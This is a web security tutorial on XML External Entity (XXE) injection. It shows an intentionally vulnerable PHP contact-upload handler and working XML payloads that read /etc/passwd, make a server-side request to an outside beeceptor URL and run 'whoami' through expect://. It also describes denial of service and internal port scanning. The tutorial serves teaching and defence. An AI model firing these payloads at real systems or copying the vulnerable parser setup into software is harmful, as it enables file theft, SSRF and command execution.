Share on :
High
Defining custom entities by the attacker which leads to performing malicious actions
we will demonstrate a simple example from a web app that lets you upload your contacts in XML format.
<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
if(isset($_POST["submit"])) {
if($imageFileType != "xml") {
echo "Sorry only XML files are allowed.";
$uploadOk = 0;
}
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
$myfile = fopen($target_file, "r") or die("Unable to open file!");
$xml= fread($myfile,filesize($target_file));
$doc = simplexml_load_string($xml);
$oldValue = libxml_disable_entity_loader(true); // enable entity $
$doc = simplexml_load_string($xml);
libxml_disable_entity_loader($oldValue);
$doc = simplexml_load_string($xml, null, LIBXML_NOENT);
} else {
echo "Sorry, there was an error uploading your file.";
}
}
}
?>
<!DOCTYPE html>
<html><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8"></head><body>
<form action="" method="post" enctype="multipart/form-data" style="margin-left:30%;margin-top:10%;background-color:#e2e2e2;width:450px;padding:15px;border-radius: 20px;border: 2px solid black;">
<p style="margin-left:30%;padding:10px;margin-top: 11px;">Select file to upload:</p>
<input name="fileToUpload" id="fileToUpload" style="padding:1px;margin-left:30%;" type="file"><br><input value="Upload Contacts" name="submit" style="margin-top:20px;margin-left:125px;margin-bottom: 10px;" type="submit">
</form>
<div style="margin-left: 30%;background-color: black;width: 450px;padding: 15px;color: white;margin-top: 20px;border-radius: 20px;border: 2px solid #e2e2e2;">
<?php
for($x=0;$x<count($doc->name);$x++){
echo $doc->name[$x]." : ".$doc->num[$x]."\n<br>";
}
?>
</div>
</body></html>
In this scenario the user should upload the XML file containing his contact info and the application is going to parse it and show name : number
pairs.
The uploaded XML file in this screenshot is this one :
<contacts>
<name>3la2</name>
<num>123456</num>
<name>amgad</name>
<num>456789</num>
</contacts>
The attacker can manipulate this XML parser because it's configured in a bad way which allows external entities declaration . An example file which an attacker can use in this case to read internal files from the server is this one :
<?xml version="1.0"?><!DOCTYPE contacts[<!ENTITY foo SYSTEM "file:///etc/passwd">]>
<contacts>
<name>&foo;</name>
<num>123456</num>
<name>amgad</name>
<num>456789</num>
</contacts>
When the attacker uploads this file the content of /etc/passwd
will be considered the name of the number 123456 owner and get printed into the application HTML .
In this vulnerable code :
<?php
#reading file
$myfile = fopen($target_file, "r") or die("Unable to open file!");
$xml= fread($myfile,filesize($target_file));
#parsing XML
$doc = simplexml_load_string($xml);
$oldValue = libxml_disable_entity_loader(true); #enabling external entities
$doc = simplexml_load_string($xml);
libxml_disable_entity_loader($oldValue);
#returning parsed data
$doc = simplexml_load_string($xml, null, LIBXML_NOENT);
?>
The developer enabled external entities declaration on lines 8 and 10 which gave the ability of getting values from outside the XML files and user it as entities .
the payload is :
<?xml version="1.0"?><!DOCTYPE contacts[<!ENTITY foo SYSTEM "file:///etc/passwd">]>
<contacts>
<name>&foo;</name>
<num>123456</num>
<name>amgad</name>
<num>456789</num>
</contacts>
1st part : <?xml version="1.0"?>
Declaring used XML version .
2nd part : <!DOCTYPE contacts[
Defining that the root element of the document is contacts
.
3rd part : <!ENTITY foo
Declaring an entity called foo
.
4th part : SYSTEM "file:///etc/passwd"
The system
command is used to declare external entities (from outside the xml document) and it takes a URL as its input .
5th part : <name>&foo;</name>
Calling the pre-defined entity which has the content of /etc/passwd
.
1. Denial of service (DOS) :
If the application doesn't return any data back to the user you can still check for XXE by calling /dev/random
filestream, that'll cause the page to keep loading without stopping. On some server this may cause DOS .
2. Server side request forgery (SSRF) : The attacker can achieve SSRF by making the input to system
command an external URL, for example :
<?xml version="1.0"?><!DOCTYPE contacts[<!ENTITY foo SYSTEM "https://shieldfy.free.beeceptor.com">]>
<contacts>
<name>&foo;</name>
<num>123456</num>
<name>amgad</name>
<num>456789</num>
</contacts>
You can check it by visiting this URL : https://shieldfy.free.beeceptor.com
.
3. Internal port scanning :
The attacker can scan internal network by making a script that requests internalIP:port
instead of external IP in the previous example, this may lead to taking over the server machine or any other machine on the server network .
4. Command injection : If we are lucky enough and the PHP "expect" module is loaded we can execute shell commands directly using a payload like this :
<?xml version="1.0"?><!DOCTYPE contacts[<!ENTITY foo SYSTEM "expect://whoami">]>
<contacts>
<name>&foo;</name>
<num>123456</num>
<name>amgad</name>
<num>456789</num>
</contacts>